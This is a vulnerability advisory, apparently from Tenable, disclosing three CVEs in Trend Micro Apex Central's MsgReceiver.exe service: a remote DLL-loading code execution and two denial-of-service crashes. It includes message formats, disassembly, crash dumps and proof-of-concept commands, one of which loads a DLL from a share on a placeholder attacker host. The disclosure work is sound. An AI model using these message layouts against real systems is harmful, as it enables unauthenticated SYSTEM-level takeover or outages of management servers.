Synopsis
CVE-2025-69258: MsgReceiver.exe LoadLibraryEx RCE (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
MsgReceiver.exe listens on default TCP port 20001 and accepts messages having the following structures:
// be = big endian
// le = little endian
struct hdr
{
be32 MsgSize; // for entire message
byte unk[9];
};
struct body
{
le16 MsgId; // 0x08ff - SC_QUERY_PROCESS_ID_REQUEST
// 0x0900 - SC_QUERY_PROCESS_ID_REPLY
// 0x08fd - SC_UNLOAD_REQUEST
// 0x08fe - SC_UNLOAD_REPLY
// 0x0a8d - SC_INSTALL_HANDLER_REQUEST
// 0x0a8e - SC_INSTALL_HANDLER_REPLY
// 0x0901 - SC_UPDATE_DEBUG_MODE_REQUEST
// 0x0a8f - FwdMsg2LogInterceptors
// 0x1b5b - SC_CMD_CGI_LOG_REQUEST
// [...]
byte data[hdr.MsgSize-15]; // message-specific data
};
struct msg
{
hdr h;
body b;
};
struct x_astring
{
le32 size; // string size
byte data[size]; // string data, null-terminated
};
struct msg_0a8d
{
hdr h;
le16 MsgId; // must be 0x0a8d
x_astring handler; // interceptor handler DLL name
le32 flag; // 1 - install handler, 0 - uninstall handler
};
Message 0x0a8d includes the name of a DLL to be loaded via LoadLibraryEx():
// msgHandlerLogReceiver.dll, file version 8.0.0.7052
[...]
.text:10086012 push LOAD_WITH_ALTERED_SEARCH_PATH
.text:10086014 push 0
.text:10086016 push edi ; VULN: attacker-controlled DLL
.text:10086016 ; e.g., \\<attacker-host>\share\evil.dll
.text:10086017 call ds:LoadLibraryExA
[...]
An unauthenticated remote attacker can send message 0x0a8d to load an attacker-controlled DLL into MsgReceiver.exe, leading to execution of attacker-supplied code under the security context of SYSTEM.
PoC:
// Preparation work:
// - Create a 32-bit DLL with code to run when loaded
// - Set up an unauthenticated SAMBA share on <attacker-host> to serve the DLL
python3 tm_apex_central_MsgReceiver_LoadLibrary_rce.py -t <target-host> -p 20001 -d '\\\\<attacker-host>\\<share>\\<some>.dll'
Sending message 0x0a8d
CVE-2025-69259: MsgReceiver.exe Message 0x1b5b Unchecked NULL Return Value DoS (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Message 0x1b5b with "new protocol" has the following structure:
struct msg_1b5b_new_proto
{
hdr h;
le16 MsgId; // must be 0x1b5b
byte zero[2]; // two zero bytes to indicate "new protocol"
le32 DataSize; // size of the following data
byte data[DataSize]; // data expected to be some CRLF-terminated (\\r\\n) text
// followed by a list of fields
};
struct field
{
be32 id; // field name id
be32 type; // field type
// 0x64 - no data
// 0x65 - no data
// 1 - null-terminated, ascii string
// 2 - null-terminated, utf16-be-encoded string
// 3 - arbitrary string? data
// 4 - signed be16
// 5 - unsigned be16
// 6 - signed be32
// 7 - unsigned be32
// 8 - signed be64?
// 9 - unsigned be64?
be32 size; // field size, not present for types 0x64 and 0x65
byte data[size]; // field data, not present for types 0x64 and 0x65
};
When processing these messages, a call to strstr(<user_data>, "\r\n") is made with user-supplied data. When the user data does not contain "\r\n", a NULL value is returned but the NULL value is not checked:
// msgHandlerLogReceiver.dll, file version 8.0.0.7052, rebased to 0x6A381000
[...]
.text:6A38C33B mov esi, [ebp+arg_psUserData]
.text:6A38C33E mov eax, offset psCrlf
.text:6A38C343 cmovnb eax, psCrlf.PtrOrLdata
.text:6A38C34A push eax ; "\\r\\n\\"
.text:6A38C34B push esi ; user-supplied data
.text:6A38C34C call ds:strstr
.text:6A38C352 mov edx, psCrlf.DataSize
.text:6A38C358 sub eax, esi ; LineSize
.text:6A38C358 ; VULN: NULL ret value not checked
.text:6A38C35A add edx, eax ; LineSizeIncludingCrlf
[...]
This leads to incorrect pointer arithmetic, resulting in invalid memory access:
0:025> g
(3044.2a54): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00678170 ebx=03e837b8 ecx=00000002 edx=00000006 esi=00000000 edi=01edfc64
eip=6a3c61d7 esp=01edf754 ebp=01edf7c4 iopl=0 nv up ei ng nz na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010287
msgHandlerLogReceiver!MsgReceiverIPC_EvtHandler_UpdateSystemData+0x19a67:
6a3c61d7 8b11 mov edx,dword ptr [ecx] ds:002b:00000002=????????
0:011> k
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 01edf7c4 6a3c591c msgHandlerLogReceiver!MsgReceiverIPC_EvtHandler_UpdateSystemData+0x19a67
01 01edf7f0 6a392434 msgHandlerLogReceiver!MsgReceiverIPC_EvtHandler_UpdateSystemData+0x191ac
02 01edf8d4 6a38de5c msgHandlerLogReceiver+0x12434
03 01edf944 6a387077 msgHandlerLogReceiver+0xde5c
04 01edfb90 6a3ac685 msgHandlerLogReceiver+0x7077
05 01edfba8 00401f2d msgHandlerLogReceiver!MsgReceiverIPC_EvtHandler_NG_HandleMessage+0x25
06 01edfc44 00414f44 MsgReceiver+0x1f2d
07 01edfcd4 00412a9e MsgReceiver+0x14f44
08 01edfcf0 0040f274 MsgReceiver+0x12a9e
09 01edfd0c 004146f1 MsgReceiver+0xf274
0a 01edfda8 0040bdfd MsgReceiver+0x146f1
0b 01edfe14 0040cb67 MsgReceiver+0xbdfd
0c 01edfe78 0040ca11 MsgReceiver+0xcb67
0d 01edfea0 0040c110 MsgReceiver+0xca11
0e 01edff00 0040c9e8 MsgReceiver+0xc110
0f 01edff30 74b1f2e9 MsgReceiver+0xc9e8
10 01edff68 74b1f2cd MSVCR110!_beginthreadex+0xb4
11 01edff74 755967f9 MSVCR110!_endthreadex+0x102
12 01edff84 776e7f4d KERNEL32!BaseThreadInitThunk+0x19
13 01edffdc 776e7f1b ntdll!__RtlUserThreadStart+0x2b
14 01edffec 00000000 ntdll!_RtlUserThreadStart+0x1b
PoC:
python3 tm_apex_central_MsgReceiver_msg_1b5b_unchecked_null_retval_dos.py -t <target-host> -p 20001
Establishing connection 0x00000001
Sending message 0x1b5b
[Errno 104] Connection reset by peer
Establishing connection 0x00000002
[Errno 111] Connection refused
CVE-2025-69260: MsgReceiver.exe Message 0x1b5b Out-of-bounds Read DoS (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Message 0x1b5b without "new protocol" has the following structure:
struct msg_1b5b
{
hdr h;
le16 MsgId; // must be 0x1b5b
x_astring SrcType;
x_astring SrcIDr;
x_astring XMLData;
};
The "CIPCMsgBuffer_GetStringPtr" function in msgHandlerLogReceiver.dll is used to process a x_astring in the buffer. It returns a pointer to the string data in the buffer as indicated by the internal current position of the buffer, and then advances the current position by 4 + x_astring.size bytes:
// msgHandlerLogReceiver.dll, file version 8.0.0.7052, rebased to 0x6A381000
[...]
.text:6A3DEC6F mov eax, [esi+CIPCMsgBuffer.CurPos]
.text:6A3DEC72 add eax, ecx ; pbData + curPos
.text:6A3DEC74 add eax, 4 ; pbData + curPos + 4
.text:6A3DEC77 mov edi, [eax-4] ; strlen
.text:6A3DEC7A mov [ebx], eax ; store str ptr on return
.text:6A3DEC7C mov eax, [esi+CIPCMsgBuffer.CurPos]
.text:6A3DEC7F mov [esi+CIPCMsgBuffer.PrevPos], eax
.text:6A3DEC82 add eax, 4 ; adv strlen field
.text:6A3DEC85 add eax, edi ; adv str
.text:6A3DEC85 ; VULN: attacker-specified strlen
.text:6A3DEC85 ; causing CurPos > BufferSize
.text:6A3DEC87 mov [esi+CIPCMsgBuffer.CurPos], eax
[...]
However, the string size is not checked against the end of the buffer. An unauthenticated remote attacker can specify a large x_astring.size for the first x_astring. When the second x_astring gets processed, the current position of the buffer can point to an invalid memory location, resulting in a an access violation:
0:027> g
(2420.32e0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=593098b2 ebx=01eff8ac ecx=040088a8 edx=6a4229a4 esi=01eff920 edi=0355e798
eip=6a3dec77 esp=01eff7e8 ebp=01eff88c iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216
msgHandlerLogReceiver!MsgReceiverIPC_EvtHandler_UpdateSystemData+0x32507:
6a3dec77 8b78fc mov edi,dword ptr [eax-4] ds:002b:593098ae=????????
0:011> k
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 01eff88c 6a392cd2 msgHandlerLogReceiver!MsgReceiverIPC_EvtHandler_UpdateSystemData+0x32507
01 01eff90c 6a3885de msgHandlerLogReceiver+0x12cd2
02 01eff948 6a387098 msgHandlerLogReceiver+0x85de
03 01effb90 6a3ac685 msgHandlerLogReceiver+0x7098
04 01effba8 00401f2d msgHandlerLogReceiver!MsgReceiverIPC_EvtHandler_NG_HandleMessage+0x25
05 01effc44 00414f44 MsgReceiver+0x1f2d
06 01effcd4 00412a9e MsgReceiver+0x14f44
07 01effcf0 0040f274 MsgReceiver+0x12a9e
08 01effd0c 004146f1 MsgReceiver+0xf274
09 01effda8 0040bdfd MsgReceiver+0x146f1
0a 01effe14 0040cb67 MsgReceiver+0xbdfd
0b 01effe78 0040ca11 MsgReceiver+0xcb67
0c 01effea0 0040c110 MsgReceiver+0xca11
0d 01efff00 0040c9e8 MsgReceiver+0xc110
0e 01efff30 74b1f2e9 MsgReceiver+0xc9e8
0f 01efff68 74b1f2cd MSVCR110!_beginthreadex+0xb4
10 01efff74 755967f9 MSVCR110!_endthreadex+0x102
11 01efff84 776e7f4d KERNEL32!BaseThreadInitThunk+0x19
12 01efffdc 776e7f1b ntdll!__RtlUserThreadStart+0x2b
13 01efffec 00000000 ntdll!_RtlUserThreadStart+0x1b
PoC:
python3 tm_apex_central_MsgReceiver_msg_1b5b_oob_read_dos.py -t <target-host> -p 20001
Establishing connection 0x00000001, string size 0xc7551000
Sending message 0x1b5b
[Errno 104] Connection reset by peer
Establishing connection 0x00000002, string size 0x7ddbd000
[Errno 111] Connection refused
Solution
Upgrade to build 7190 or later.
Disclosure Timeline
All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.
Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.
For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.
If you have questions or corrections about this advisory, please email [email protected]